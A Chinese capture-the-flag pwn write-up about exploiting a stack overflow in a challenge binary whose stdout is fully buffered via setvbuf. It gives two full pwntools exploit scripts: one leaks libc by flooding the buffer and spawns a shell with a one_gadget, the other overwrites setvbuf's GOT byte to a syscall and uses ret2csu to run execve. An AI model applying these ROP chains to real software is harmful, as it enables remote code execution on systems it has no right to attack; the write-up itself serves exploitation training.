考点：文件，setvbuf缓冲区，ret2syscall，ret2csu
题目给了libc文件。
main函数和vlun函数存在明显的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[80]; // [rsp+0h] [rbp-50h] BYREFinit(argc, argv, envp);puts("where is my stdout???");read(0, buf, 0x60uLL);return 0;
}
ssize_t vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFreturn read(0, buf, 0x200uLL);
}
解1
直接从main跳到vuln，然后写了got地址、libc地址，ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲：
int init()
{setvbuf(stdout, 0LL, 0, 0LL);return setvbuf(stdin, 0LL, 2, 0LL);
}
setvbuf函数，它有三种mode：
全缓冲：（_IOFBF）0，缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲：（_IOLBF）1，缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲：（_IONBF）2，直接输出。
也就是说，要想使缓冲区的got地址打印出来，有以下思路：
- 重新设置setvbuf，但这不知道管不管用，没法尝试因为这需要4个参数，没法控制rdx和rcx
- 调用fflush(stdout)，但是需要泄露libc地址，死循环，这里做不到
- 挤爆缓冲区，自然就会把内容打印出来了
这里只有第三种思路是可行的。
但是实际操作的时候，本地可以getshell，但是远程不行，寄！
另外，system("/bin/sh")不行，但是one_gadget可以。
Exp
from pwn import *
import sysif len(sys.argv) == 3:ip = sys.argv[1]port = sys.argv[2]sh = remote(ip,port)
else:sh = process("./pwn")elf = ELF("./pwn")
# libc = elf.libc
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")# context(os="linux",arch="amd64",log_level="debug")
#gdb.attach(sh)offset1 = 0x50+8
vuln = 0x40125D
offset2 = 0x20+8
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
ret = 0x000000000040101a # ret
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
extend = elf.symbols["extend"]
hello = 0x402032
just = 0x402008sh.send(b"a"*offset1 + p64(vuln))
sleep(1)payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
sh.send(payload)
recv_data = sh.recv(timeout=1)
print("----",len(recv_data))
i = 0
# 用while或者for都行
# while len(recv_data) == 0:
# payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
# # sleep(1)
# sh.send(payload)
# print(i)
# wait = 1
# if i == 29:
# wait = 3
# recv_data = sh.recv(numb=48,timeout=wait)
# i = 1 + i
for i in range(0):payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)sleep(1)sh.send(payload)print(i)recv_data = sh.recv()# print(sh.recv())
puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
print(recv_data.split(b"hello")[0])
print(hex(puts_addr))
pause()
# pause()
# puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
# print(puts_addr)
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_baseprint("bin_sh--",hex(bin_sh)," system--",hex(system))'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret# payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
#payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
sh.send(payload)
sh.interactive()
有一篇类似的题目writeup
https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ
解2
控制读入binsh，修改setvbuf低位为syscall，通过read修改，然后read读入赋给rax为0x3b，csu跳到syscall执行
写入/bin/sh不难，写到bss段即可
修改setvbuf低位为syscall，这个是相邻函数存在着syscall
read函数的返回值是读入数据的长度，存放在rax。
通过ret2csu执行syscall
csu1
=============================================================
.text:00000000004013CA 5B pop rbx
.text:00000000004013CB 5D pop rbp
.text:00000000004013CC 41 5C pop r12
.text:00000000004013CE 41 5D pop r13
.text:00000000004013D0 41 5E pop r14
.text:00000000004013D2 41 5F pop r15
.text:00000000004013D4 C3 retncsu2
==============================================================
.text:00000000004013B0 4C 89 F2 mov rdx, r14
.text:00000000004013B3 4C 89 EE mov rsi, r13
.text:00000000004013B6 44 89 E7 mov edi, r12d
.text:00000000004013B9 41 FF 14 DF call qword ptr [r15+rbx*8]
先执行csu1，然后通过ret跳转执行csu2，最后call [r15]
rbx：取0，方便后面call的时候控制地址
rbp：没啥用，取0
r12：mov给rdi-->mov edi, r12d，rdi高位都是0
r13：传给rsi
r14：传给rdx
r15：放入的值应该是存放了要执行函数地址的指针，如放入某个got地址，其指向的则是函数的真实地址，call的时候就回去执行该函数
本地不行，远程可以，6！
Exp
from pwn import *
import sysif len(sys.argv) == 3:ip = sys.argv[1]port = sys.argv[2]sh = remote(ip,port)
else:sh = process("./pwn")libc = ELF("./libc-2.31.so")
elf = ELF("./pwn")context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(sh,"b *0x401348")offset1 = 0x50+8
offset2 = 0x20+8
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
csu1 = 0x4013CA
csu2 = 0x4013B0
vuln = 0x40125D
payload1 = b"a"*offset1 + p64(vuln)
sh.send(payload1)# call read
payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
sh.send(payload2)
sleep(1)
# write "/bin/sh\x00" to bss
sh.send(b"/bin/sh\x00")payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
# 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
# payload3 += payload3.ljust(0x200,b"\x00")
pause()
sh.send(payload3)
sleep(1)
# change setvbuf to syscall
sh.send(b"\xc9")
pause()
sh.send(b"c"*0x3b)
# read return length of inputed data,rax
# rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]sh.interactive()'''
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : retcsu1
=============================================================
.text:00000000004013CA 5B pop rbx
.text:00000000004013CB 5D pop rbp
.text:00000000004013CC 41 5C pop r12
.text:00000000004013CE 41 5D pop r13
.text:00000000004013D0 41 5E pop r14
.text:00000000004013D2 41 5F pop r15
.text:00000000004013D4 C3 retncsu2
==============================================================
.text:00000000004013B0 4C 89 F2 mov rdx, r14
.text:00000000004013B3 4C 89 EE mov rsi, r13
.text:00000000004013B6 44 89 E7 mov edi, r12d
.text:00000000004013B9 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
'''
payload2,payload3调用read的时候没有控制rdi的值，因为这里一直是0，标准输入
参考：
https://www.cnblogs.com/imarch22/p/18288087#stdout
https://www.mrskye.cn/archives/eedef7bd/
https://xkaneiki.github.io/2020/10/23/unexploitable/
https://cloud.tencent.com/developer/article/2063693
